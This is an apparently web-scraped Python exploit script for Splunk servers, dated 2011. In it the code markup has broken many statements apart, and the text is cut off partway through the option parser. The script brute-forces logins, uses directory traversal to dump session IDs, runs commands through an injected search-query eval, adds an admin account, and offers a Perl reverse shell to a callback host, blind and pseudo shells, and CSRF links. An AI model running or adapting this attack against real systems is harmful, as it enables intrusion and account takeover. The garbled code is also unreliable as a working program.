<code>from</code> <code>sec1httplib.requestbuilder</code><code>import</code> <code>Requestobj</code>
<code>from</code> <code>sec1httplib.thread_dispatcher</code><code>import</code> <code>*</code>
<code>import</code> <code>threading</code>
<code>import</code> <code>re</code>
<code>import</code> <code>urlparse</code>
<code>import</code> <code>sys</code>
<code>import</code> <code>urllib</code>
<code>import</code> <code>base64</code>
<code>from</code> <code>optparse</code><code>import</code> <code>OptionParser</code>
<code> </code>
<code>"""</code>
<code>Source: http://www.sec-1.com/blog/?p=233</code>
<code>Splunk remote root exploit.</code>
<code>Author: Gary O'leary-Steele @ Sec-1 Ltd</code>
<code>Date: 5th September 2011</code>
<code>Release date: Private</code>
<code>Full Package: http://www.exploit-db.com/sploits/18245.zip</code>
<code>C:\git\splunk>python splunk_exploit.py -h</code>
<code>Usage: Run splunk_exploit.py -h to see usage options</code>
<code>Options:</code>
<code> </code><code>--version show program's version number and exit</code>
<code> </code><code>-h, --help show this help message and exit</code>
<code> </code><code>-t TARGETHOST IP Address or hostname of target splunk server</code>
<code> </code><code>-c Generate CSRF URL only</code>
<code> </code><code>-w SPLUNKWEB_PORT The Splunk admin interface port (Default: 8000)</code>
<code> </code><code>-d SPLUNKD_PORT The Splunkd Web API port (Default: 8089)</code>
<code> </code><code>-u USERFILE File containing usernames for use in dictionary attack</code>
<code> </code><code>-p PASSFILE File containing passwords for use in dictionary attack</code>
<code> </code><code>-U USERNAME Admin username (if known)</code>
<code> </code><code>-P PASSWORD Admin pasword (if known)</code>
<code>ToDo: Fix bug when attemping to get home dir</code>
<code>#Set this to use a proxy</code>
<code>#Requestobj.set_proxy("127.0.0.1","8080")</code>
<code>Requestobj.verbose</code><code>=</code>
<code>0</code>
<code>misc_lock</code><code>=</code>
<code>threading.Lock()</code>
<code># Counter used in bruteforce</code>
<code>class</code> <code>Counter():</code>
<code> </code><code>def</code>
<code>__init__(</code><code>self</code><code>):</code>
<code> </code><code>self</code><code>.l</code><code>=</code> <code>threading.Lock()</code>
<code>set_total(</code><code>self</code><code>,total):</code>
<code> </code><code>self</code><code>.statictotal</code><code>=</code> <code>total</code>
<code> </code><code>self</code><code>.total</code><code>=</code> <code>total</code>
<code>sub(</code><code>self</code><code>):</code>
<code> </code><code>with</code><code>self</code><code>.l:</code>
<code> </code><code>if</code>
<code>self</code><code>.total !</code><code>=</code><code>0</code><code>:</code>
<code> </code><code>self</code><code>.total</code><code>=</code> <code>self</code><code>.total</code><code>-</code> <code>1</code>
<code>print_remaining(</code><code>self</code><code>):</code>
<code> </code><code>print</code>
<code>"[i] %s of %s remaining"</code> <code>%</code> <code>(</code><code>self</code><code>.total,</code><code>self</code><code>.statictotal)</code>
<code>counter</code><code>=</code>
<code>Counter()</code>
<code>def</code> <code>request_factory_splunkd(targeturl,username,password,splunk_object):</code>
<code> </code><code>"Factory to generate attempt_login functions"</code>
<code> </code><code>global</code>
<code>counter</code>
<code>attempt_login():</code>
<code> </code><code># Dont continue if we already have admin</code>
<code> </code><code>if</code>
<code>splunk_object.got_admin</code><code>=</code><code>=</code>
<code>1</code><code>:</code>
<code> </code><code>return</code>
<code>False</code>
<code> </code><code>login_url</code><code>=</code> <code>"{0}/services/auth/login"</code><code>.</code><code>format</code><code>(targeturl.rstrip())</code>
<code> </code><code>r</code><code>=</code> <code>Requestobj(login_url)</code>
<code> </code><code>poststr</code><code>=</code> <code>"username={0}&password={1}"</code><code>.</code><code>format</code><code>(username.rstrip(),password.rstrip())</code>
<code> </code><code>r.rawpostdata(</code><code>"POST"</code><code>, poststr)</code>
<code> </code><code>result</code><code>=</code> <code>r.makerequest()</code>
<code> </code><code>counter.sub()</code>
<code> </code><code>counter.print_remaining()</code>
<code> </code>
<code>result.find_data(</code><code>"Remote login disabled because you are using a free license"</code><code>):</code>
<code>"[i] Free licence in use. No remote login required"</code>
<code>"[!] run the exploit again with the -f flag"</code>
<code> </code><code>sys.exit()</code>
<code> </code>
<code>result.find_data(</code><code>"sessionKey"</code><code>):</code>
<code>"[***] Cracked: %s:%s\n"</code> <code>%</code> <code>(username.rstrip(),password.rstrip())</code>
<code> </code><code>try</code><code>:</code>
<code> </code><code>if</code>
<code>splunk_object.user_is_admin(username.rstrip(),password.rstrip()):</code>
<code> </code><code>splunk_object.username</code><code>=</code> <code>username.rstrip()</code>
<code> </code><code>splunk_object.password</code><code>=</code> <code>password.rstrip()</code>
<code> </code><code>splunk_object.got_admin</code><code>=</code><code>1</code>
<code> </code><code>#print "ADMIN",splunk_object.got_admin</code>
<code> </code><code>splunk_object.session_key</code><code>=</code> <code>re.findall(</code><code>"<sessionKey>(.+?)</sessionKey>"</code><code>,result.body)[</code><code>0</code><code>]</code>
<code> </code><code>except</code>
<code>Exception as err:</code>
<code> </code><code>print</code>
<code>"[i] Error getting auth details"</code><code>,err</code>
<code>(username,password)</code>
<code> </code><code>else</code><code>:</code>
<code> </code><code>pass</code>
<code> </code><code>return</code>
<code>attempt_login</code>
<code>def</code> <code>request_factory_splunkweb(targeturl,username,password,cval,splunk_object):</code>
<code> </code><code>login_url</code><code>=</code> <code>"{0}/en-GB/account/login"</code><code>.</code><code>format</code><code>(targeturl.rstrip())</code>
<code> </code><code>poststr</code><code>=</code> <code>"cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}"</code><code>.</code><code>format</code><code>(cval,username.rstrip(),password.rstrip())</code>
<code> </code><code>r.set_custom_cookie(copyglobaljar</code><code>=</code><code>1</code><code>)</code>
<code> </code>
<code>result.find_data(</code><code>"This resource can be found at"</code><code>):</code>
<code>"[***] Cracked: %s:%s"</code> <code>%</code> <code>(username.rstrip(),password.rstrip())</code>
<code>class</code> <code>SplunkTarget(</code><code>object</code><code>):</code>
<code>__init__(</code><code>self</code><code>,hostaddr,splunkd_port</code><code>=</code><code>8089</code><code>,splunkweb_port</code><code>=</code><code>8000</code><code>):</code>
<code> </code><code>self</code><code>.splunkd_port</code><code>=</code> <code>splunkd_port</code>
<code> </code><code>self</code><code>.splunkweb_port</code><code>=</code> <code>splunkweb_port</code>
<code> </code><code>self</code><code>.max_threads</code><code>=</code> <code>20</code>
<code> </code><code>self</code><code>.username</code><code>=</code><code>""</code>
<code> </code><code>self</code><code>.password</code><code>=</code> <code>""</code>
<code> </code><code>self</code><code>.session_key</code><code>=</code><code>""</code>
<code> </code><code>self</code><code>.splunk_home</code><code>=</code> <code>""</code>
<code> </code><code>self</code><code>.got_admin</code><code>=</code> <code>0</code>
<code> </code><code>self</code><code>.web_authed</code><code>=</code> <code>0</code> <code># are we authed to the web interface</code>
<code> </code><code>self</code><code>.freelic</code><code>=</code><code>0</code>
<code> </code><code># Check splunkd server</code>
<code> </code><code>info</code><code>=</code> <code>Requestobj(</code><code>"https://{0}:{1}/services/server/info/server-info"</code><code>.</code><code>format</code><code>(hostaddr,splunkd_port)).makerequest()</code>
<code>info.body:</code>
<code> </code><code>self</code><code>.splunkd_url</code><code>=</code> <code>"{0}://{1}"</code><code>.</code><code>format</code><code>(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)</code>
<code> </code><code>info</code><code>=</code> <code>Requestobj(</code><code>"http://{0}:{1}/services/server/info/server-info"</code><code>.</code><code>format</code><code>(hostaddr,splunkd_port)).makerequest()</code>
<code>"server-info"</code> <code>in</code>
<code> </code><code>self</code><code>.splunkd</code><code>=</code><code>1</code>
<code> </code><code>self</code><code>.os_build</code><code>=</code> <code>re.findall(</code><code>"os_build\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code> </code><code>self</code><code>.os_name</code><code>=</code> <code>re.findall(</code><code>"os_name\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code> </code><code>self</code><code>.os_version</code><code>=</code> <code>re.findall(</code><code>"os_version\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code> </code><code>self</code><code>.server_name</code><code>=</code> <code>re.findall(</code><code>"serverName\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code> </code><code>self</code><code>.splunk_version</code><code>=</code> <code>re.findall(</code><code>"\"version\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code> </code><code>self</code><code>.cpu_arch</code><code>=</code> <code>re.findall(</code><code>"cpu_arch\">(.+?)<"</code><code>,info.body)[</code><code>0</code><code>]</code>
<code>"[i] Splunkd server found. Version:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunk_version)</code>
<code>"[i] OS:{0} {1} {2}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.os_name,</code><code>self</code><code>.os_version,</code><code>self</code><code>.os_build)</code>
<code>"Error getting splunk server info"</code><code>,err</code>
<code> </code><code>self</code><code>.splunkd</code><code>=</code><code>0</code>
<code> </code><code># Check splunk web</code>
<code> </code><code>splunkweb_info</code><code>=</code> <code>Requestobj(</code><code>"http://{0}:{1}/en-GB/account/login"</code><code>.</code><code>format</code><code>(hostaddr,splunkweb_port)).makerequest()</code>
<code>splunkweb_info.body:</code>
<code> </code><code>self</code><code>.splunkweb_url</code><code>=</code> <code>"{0}://{1}"</code><code>.</code><code>format</code><code>(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)</code>
<code> </code><code>splunkweb_info</code><code>=</code> <code>Requestobj(</code><code>"https://{0}:{1}/en-GB/account/login"</code><code>.</code><code>format</code><code>(hostaddr,splunkweb_port)).makerequest()</code>
<code>"Splunk"</code> <code>in</code>
<code>"[i] Splunk web interface discovered"</code>
<code> </code><code>self</code><code>.splunkweb</code><code>=</code><code>1</code>
<code> </code><code>self</code><code>.cval</code><code>=</code><code>""</code>
<code> </code><code>self</code><code>.cval</code><code>=</code> <code>splunkweb_info.extract_data_body(</code><code>'name="cval" value="(\d+?)"'</code><code>)[</code><code>0</code><code>]</code>
<code>"[i] CVAL:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.cval)</code>
<code> </code><code>except</code><code>:</code>
<code>"[i] Error getting cval"</code>
<code> </code><code>self</code><code>.splunkweb</code><code>=</code><code>0</code>
<code> </code><code>self</code><code>.splunkweb</code><code>=</code><code>0</code>
<code>self</code><code>.splunkweb</code>
<code>=</code><code>=</code><code>1</code><code>:</code>
<code> </code><code>url</code><code>=</code><code>"{0}/en-GB/manager/system/licensing"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)</code>
<code> </code><code>lic</code><code>=</code> <code>Requestobj(url).makerequest()</code>
<code>"<h1>Free license group</h1>"</code> <code>in</code> <code>lic.body:</code>
<code> </code><code>print</code>
<code>"[i] Configured with free licence. No auth required"</code>
<code> </code><code>#if not self.splunkd:</code>
<code> </code><code># print "[i] Cannot connect to splunkd using free licence"</code>
<code> </code><code># sys.exit()</code>
<code> </code><code>self</code><code>.got_admin</code><code>=</code><code>1</code>
<code> </code><code>self</code><code>.username</code><code>=</code><code>"admin"</code>
<code> </code><code>self</code><code>.password</code><code>=</code><code>"admin"</code>
<code> </code><code>self</code><code>.web_authed</code><code>=</code><code>1</code>
<code> </code><code>self</code><code>.splunkd</code><code>=</code><code>0</code>
<code> </code><code>self</code><code>.freelic</code><code>=</code><code>1</code>
<code> </code><code>self</code><code>.pop_shell()</code>
<code>"error"</code><code>,err</code>
<code> </code><code>exit()</code>
<code> </code>
<code>account_bruteforce(</code><code>self</code><code>,userfile,passfile):</code>
<code> </code><code>global</code>
<code> </code><code>q</code><code>=</code> <code>ThreadDispatcher(store_return</code><code>=</code><code>1</code><code>,max_threads</code><code>=</code><code>self</code><code>.max_threads)</code>
<code> </code><code>for</code>
<code>username</code><code>in</code>
<code>set</code><code>(</code><code>open</code><code>(userfile).readlines()):</code>
<code> </code><code>for</code>
<code>password</code><code>in</code>
<code>set</code><code>(</code><code>open</code><code>(passfile).readlines()):</code>
<code>self</code><code>.splunkd</code>
<code>=</code><code>=</code> <code>1</code><code>:</code>
<code> </code><code>q.add(request_factory_splunkd(</code><code>self</code><code>.splunkd_url,username,password,</code><code>self</code><code>))</code>
<code> </code><code>elif</code>
<code>self</code><code>.splunkweb</code><code>=</code><code>=</code><code>1</code><code>:</code>
<code> </code><code>q.add(request_factory_splunkweb(</code><code>self</code><code>.splunkweb_url,username,password,</code><code>self</code><code>.cval,</code><code>self</code><code>))</code>
<code> </code><code>else</code><code>:</code>
<code>"[Error] Not connected"</code>
<code> </code><code>sys.exit()</code>
<code> </code><code>counter.set_total(</code><code>len</code><code>(q.call_queue))</code>
<code> </code><code>q.start()</code>
<code>x</code><code>in</code> <code>range</code><code>(q.return_queue._qsize()):</code>
<code> </code><code>username, password</code><code>=</code> <code>q.return_queue.get(x)</code>
<code> </code><code>username</code><code>=</code> <code>username.rstrip()</code>
<code> </code><code>password</code><code>=</code> <code>password.rstrip()</code>
<code>"[***] Cracked: %s:%s"</code> <code>%</code> <code>(username,password)</code>
<code>user_is_admin(</code><code>self</code><code>,username,password):</code>
<code> </code><code># attempt to auth via splunkd to get a sessionkey</code>
<code> </code><code>self</code><code>.username</code><code>=</code> <code>username</code>
<code> </code><code>self</code><code>.password</code><code>=</code> <code>password</code>
<code> </code><code>self</code><code>.splunkd_auth()</code>
<code> </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/services/authentication/httpauth-tokens"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>
<code> </code><code>url.basic_auth(username,password)</code>
<code> </code><code>context</code><code>=</code> <code>url.makerequest()</code>
<code>'<title>httpauth-tokens'</code> <code>in</code> <code>context.body:</code>
<code> </code><code>self</code><code>.got_admin</code><code>=</code><code>1</code>
<code> </code><code>return</code>
<code>True</code>
<code> </code><code>else</code><code>:</code>
<code> </code><code>elif</code>
<code> </code><code>with misc_lock:</code>
<code> </code><code>self</code><code>.username</code><code>=</code> <code>username</code>
<code> </code><code>self</code><code>.password</code><code>=</code> <code>password</code>
<code>self</code><code>.splunkweb_auth():</code>
<code> </code><code>admin_only</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-US/manager/launcher/server/settings/settings?action=edit"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest()</code>
<code> </code><code>if</code>
<code>admin_only.find_data(</code><code>"Port that Splunk Web uses"</code><code>):</code>
<code> </code><code>print</code>
<code>"[i] User:{0} IS AN ADMIN."</code><code>.</code><code>format</code><code>(username)</code>
<code> </code><code>return</code>
<code> </code><code>else</code><code>:</code>
<code>"[i] User:{0} is not an admin"</code><code>.</code><code>format</code><code>(username)</code>
<code> </code><code>pass</code>
<code> </code>
<code>"Not Connected"</code>
<code>search_payload_cmd(</code><code>self</code><code>,payload):</code>
<code> </code><code>"Generate a command execution payload"</code>
<code> </code><code>encoded</code><code>=</code> <code>urllib.quote(base64.b64encode(payload))</code>
<code> </code><code>encodedpl</code><code>=</code> <code>"""search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")"""</code>
<code>%</code> <code>encoded</code>
<code> </code><code>#print encodedpl</code>
<code> </code><code>return</code>
<code>encodedpl</code>
<code>get_splunk_home(</code><code>self</code><code>):</code>
<code>not</code> <code>self</code><code>.username</code><code>or</code> <code>not</code>
<code>self</code><code>.password:</code>
<code>"[i] Valid username and password required"</code>
<code> </code><code>try</code><code>:</code>
<code> </code><code>r</code><code>=</code> <code>Requestobj(</code><code>"{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>
<code> </code><code>r.basic_auth(</code><code>self</code><code>.username,</code><code>self</code><code>.password)</code>
<code> </code><code>splunkdir</code><code>=</code> <code>r.makerequest()</code>
<code>"ERROR"</code> <code>not</code>
<code>in</code> <code>splunkdir.body</code>
<code>and</code> <code>"Remote login disabled"</code>
<code>not</code> <code>in</code> <code>splunkdir.body</code><code>and</code> <code>self</code><code>.splunkd:</code>
<code> </code><code>self</code><code>.splunk_home</code><code>=</code> <code>splunkdir.body.strip()</code>
<code>"[***] Could not get home dir setting default.."</code>
<code>"windows"</code> <code>in</code>
<code>self</code><code>.os_name.lower():</code>
<code> </code><code>self</code><code>.splunk_home</code><code>=</code> <code>"c:\\program files\\splunk"</code>
<code> </code><code>self</code><code>.splunk_home</code><code>=</code> <code>"/opt/splunk"</code>
<code>"Setting Splunk home dir to:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunk_home)</code>
<code>self</code><code>.splunk_home</code>
<code> </code><code>except</code>
<code>"[i] Error occured while attempting to read splunk home dir"</code><code>,err</code>
<code>splunkd_auth(</code><code>self</code><code>):</code>
<code> </code><code>login_url</code><code>=</code> <code>"{0}/services/auth/login"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url)</code>
<code> </code><code>poststr</code><code>=</code> <code>"username={0}&password={1}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.username.rstrip(),</code><code>self</code><code>.password.rstrip())</code>
<code> </code><code>self</code><code>.session_key</code><code>=</code> <code>re.findall(</code><code>"<sessionKey>(.+?)</sessionKey>"</code><code>,result.body)[</code><code>0</code><code>]</code>
<code>splunkweb_auth(</code><code>self</code><code>):</code>
<code>self</code><code>.web_authed</code>
<code> </code><code>login_page</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/account/login"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest()</code><code># Get session cookie</code>
<code> </code><code>cval</code><code>=</code><code>""</code>
<code> </code><code>cval</code><code>=</code> <code>login_page.extract_data_body(</code><code>'name="cval" value="(\d+?)"'</code><code>)</code>
<code>cval:</code>
<code> </code><code>cval</code><code>=</code> <code>cval[</code><code>0</code><code>]</code>
<code> </code><code>r</code><code>=</code> <code>Requestobj(login_page.url)</code>
<code> </code><code>poststr</code><code>=</code> <code>"cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}"</code><code>.</code><code>format</code><code>(cval,</code><code>self</code><code>.username.rstrip(),</code><code>self</code><code>.password.rstrip())</code>
<code> </code><code>self</code><code>.web_authed</code><code>=</code> <code>1</code>
<code>"[i] Login Failed"</code>
<code> </code><code>exit()</code>
<code>add_admin(</code><code>self</code><code>,username,password,sessionKey):</code>
<code> </code><code># look for 201</code>
<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.username</code><code>and</code> <code>self</code><code>.password:</code>
<code> </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/-/launcher/authentication/users"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>
<code> </code><code>url.basic_auth(</code><code>self</code><code>.username,</code><code>self</code><code>.password)</code>
<code> </code><code>url.rawpostdata(</code><code>"POST"</code><code>,</code><code>"roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname="</code><code>.</code><code>format</code><code>(username,password))</code>
<code> </code><code>url.add_header(</code><code>"authorization"</code><code>,</code><code>"Splunk {0}"</code><code>.</code><code>format</code><code>(sessionKey))</code>
<code> </code><code>result</code><code>=</code> <code>url.makerequest()</code>
<code>str</code><code>(result.code)</code><code>=</code><code>=</code>
<code>"201"</code><code>:</code>
<code>"[!] Not connected to splunkd. Check port and creds"</code>
<code>dump_session_ids(</code><code>self</code><code>):</code>
<code> </code><code>"Exploits dir traversal issue to dump session ids"</code>
<code> </code><code>print</code>
<code>"[i] Attemping to dump sessions"</code>
<code> </code><code>#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))</code>
<code> </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>
<code> </code><code>sessions</code><code>=</code><code>[]</code>
<code>"session="</code> <code>in</code>
<code>result.body:</code>
<code>"[i] Session ID's extracted from web_service.log"</code>
<code> </code><code>sessions</code><code>=</code> <code>re.findall(</code><code>"session=(.+?)[<\s]"</code><code>,result.body)</code>
<code>session</code><code>in</code> <code>set</code><code>(sessions):</code>
<code>"[SESSION]"</code><code>,session</code>
<code>set</code><code>(sessions)</code>
<code>perl_revshell(</code><code>self</code><code>,revhost,port):</code>
<code> </code><code>cmd</code><code>=</code><code>"""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""</code> <code>%</code> <code>(revhost,port)</code>
<code> </code><code>self</code><code>.search_exploit_cmd(cmd)</code>
<code>search_exploit_cmd(</code><code>self</code><code>,command):</code>
<code> </code><code>"Execute commands via search exploit."</code>
<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.got_admin:</code>
<code>=</code><code>=</code> <code>0</code><code>:</code>
<code> </code><code>self</code><code>.splunkweb_auth()</code>
<code>"[i] Executing Command:{0}"</code><code>.</code><code>format</code><code>(command)</code>
<code> </code><code>attack_body</code><code>=</code> <code>self</code><code>.search_payload_cmd(command)</code><code>#</code>
<code> </code><code>attack_body</code><code>=</code> <code>urllib.quote(urllib.unquote(attack_body))</code>
<code> </code><code>shell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/api/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url))</code>
<code> </code><code>shell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time="</code><code>.</code><code>format</code><code>(attack_body))</code>
<code>c</code><code>in</code> <code>shell_req.get_cookiejar():</code>
<code>"session"</code> <code>in</code>
<code>c.name:</code>
<code> </code><code>shell_req.add_header(</code><code>"X-Requested-With"</code><code>,</code><code>"XMLHttpRequest"</code><code>)</code>
<code> </code><code>shell_req.add_header(</code><code>"X-Splunk-Session"</code><code>,c.value)</code>
<code> </code><code>x</code><code>=</code> <code>shell_req.makerequest()</code>
<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.got_admin</code><code>and</code> <code>self</code><code>.session_key:</code>
<code> </code><code>shell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/admin/search/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>
<code> </code><code>shell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100"</code><code>.</code><code>format</code><code>(attack_body))</code>
<code> </code><code>shell_req.add_header(</code><code>"authorization"</code><code>,</code><code>"Splunk {0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.session_key))</code>
<code>"Session"</code><code>,</code><code>self</code><code>.session_key</code>
<code>"Admin"</code><code>,</code><code>self</code><code>.got_admin</code>
<code>"Splunkd"</code><code>,</code><code>self</code><code>.splunkd</code>
<code>"[i] Exploit failed. Not connected or access denied"</code>
<code>blind_shell(</code><code>self</code><code>):</code>
<code> </code><code>command</code><code>=</code><code>""</code>
<code> </code><code>while</code>
<code>command.rstrip()</code>
<code> </code><code>command</code><code>=</code><code>raw_input</code><code>(</code><code>"blind_shell>"</code><code>)</code><code>#</code>
<code>command.rstrip()</code><code>=</code><code>=</code>
<code>"exit"</code><code>:</code><code>break</code>
<code> </code><code>self</code><code>.search_exploit_cmd(command)</code>
<code>get_csrf_link_cmd(</code><code>self</code><code>,command):</code>
<code>"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url,</code><code>self</code><code>.search_payload_cmd(command))</code>
<code>get_csrf_link_revshell(</code><code>self</code><code>,revhost,port):</code>
<code>"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url,</code><code>self</code><code>.search_payload_cmd(cmd))</code>
<code>search_exploit_psudoshell(</code><code>self</code><code>):</code>
<code> </code><code>"Execute commands via search exploit. Payload implements a virtual shell"</code>
<code>not</code> <code>self</code><code>.splunkweb</code><code>=</code><code>=</code>
<code>"[error] Managment Web Interface required for this payload"</code>
<code>""</code>
<code> </code><code>self</code><code>.splunkweb_auth()</code>
<code> </code><code>base_dir</code><code>=</code> <code>self</code><code>.get_splunk_home()</code>
<code> </code><code>#if not base_dir:</code>
<code> </code><code># print "Failed to get splunk basedir"</code>
<code> </code><code># base_dir = "/opt/splunk"</code>
<code> </code><code>command</code><code>=</code><code>raw_input</code><code>(</code><code>"shell>"</code><code>)</code><code>#</code>
<code> </code><code>tmp</code><code>=</code> <code>">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\""</code><code>.</code><code>format</code><code>(base_dir)</code>
<code> </code><code>command</code><code>=</code> <code>command</code>
<code>+</code> <code>tmp</code><code>#'"'+ tmp +'"'</code>
<code> </code><code>tmp</code><code>=</code> <code>">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp"</code><code>.</code><code>format</code><code>(base_dir)</code>
<code>+</code> <code>tmp</code>
<code> </code><code>psudoshell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/api/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url))</code>
<code> </code><code>psudoshell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time="</code><code>.</code><code>format</code><code>(attack_body))</code>
<code>c</code><code>in</code> <code>psudoshell_req.get_cookiejar():</code>
<code> </code><code>psudoshell_req.add_header(</code><code>"X-Requested-With"</code><code>,</code><code>"XMLHttpRequest"</code><code>)</code>
<code> </code><code>psudoshell_req.add_header(</code><code>"X-Splunk-Session"</code><code>,c.value)</code>
<code> </code><code>x</code><code>=</code> <code>psudoshell_req.makerequest()</code>
<code> </code><code>import</code>
<code>time</code>
<code> </code><code>time.sleep(</code><code>3</code><code>)</code>
<code>Requestobj(</code><code>"{0}/en-US/static/@105575/js/.tmp"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest().body</code>
<code>pop_shell(</code><code>self</code><code>):</code>
<code> </code><code>"Prompt for paylod options"</code>
<code> </code><code>"[w00p] We appear to have access. Please select a payload"</code>
<code>"[Payload Options]"</code>
<code>"[1]\tPseudo Interactive Shell"</code>
<code>"[DISABLED]\tPseudo Interactive Shell"</code>
<code>"[2]\tPerl Reverse Shell"</code>
<code>"[3]\tCommand Exec (Blind)"</code>
<code> </code><code>option</code><code>=</code> <code>input</code><code>(</code><code>"Please select option 1-3:"</code><code>)</code>
<code>option</code><code>=</code><code>=</code>
<code> </code><code>self</code><code>.search_exploit_psudoshell()</code>
<code>option</code><code>=</code><code>=</code><code>2</code><code>:</code>
<code> </code><code>rev_host</code><code>=</code> <code>raw_input</code><code>(</code><code>"Enter Callback Host:"</code><code>)</code>
<code> </code><code>rev_port</code><code>=</code> <code>raw_input</code><code>(</code><code>"Enter Callback Port:"</code><code>)</code>
<code> </code><code>self</code><code>.perl_revshell(rev_host,rev_port)</code>
<code>option</code><code>=</code><code>=</code><code>3</code><code>:</code>
<code> </code><code>self</code><code>.blind_shell()</code>
<code>"Invalid option"</code>
<code>def</code> <code>main():</code>
<code> </code><code>banner</code><code>=</code> <code>"-----==[Slunk Remote Root Exploit]=-----\n"</code>
<code> </code><code>parser</code><code>=</code> <code>OptionParser(usage</code><code>=</code><code>"Run %prog -h to see usage options"</code><code>,</code>
<code> </code><code>version</code><code>=</code><code>"%prog 1.0"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-t"</code><code>,</code>
<code> </code><code>action</code><code>=</code><code>"store"</code><code>,</code>
<code> </code><code>dest</code><code>=</code><code>"targethost"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"IP Address or hostname of target splunk server"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-c"</code><code>,</code>
<code> </code><code>action</code><code>=</code><code>"store_true"</code><code>,</code><code># optional because action defaults to "store"</code>
<code> </code><code>dest</code><code>=</code><code>"csrf"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"Generate CSRF URL only"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-f"</code><code>,</code>
<code> </code><code>dest</code><code>=</code><code>"free_lic_noauth"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"Target is configured to use a Free licence and does not permit remote auth"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-w"</code><code>,</code>
<code> </code><code>action</code><code>=</code><code>"store"</code><code>,</code><code># optional because action defaults to "store"</code>
<code> </code><code>dest</code><code>=</code><code>"splunkweb_port"</code><code>,</code>
<code> </code><code>default</code><code>=</code><code>8000</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"The Splunk admin interface port (Default: 8000)"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-d"</code><code>, </code>
<code> </code><code>dest</code><code>=</code><code>"splunkd_port"</code><code>,</code>
<code> </code><code>default</code><code>=</code><code>8089</code><code>,</code>
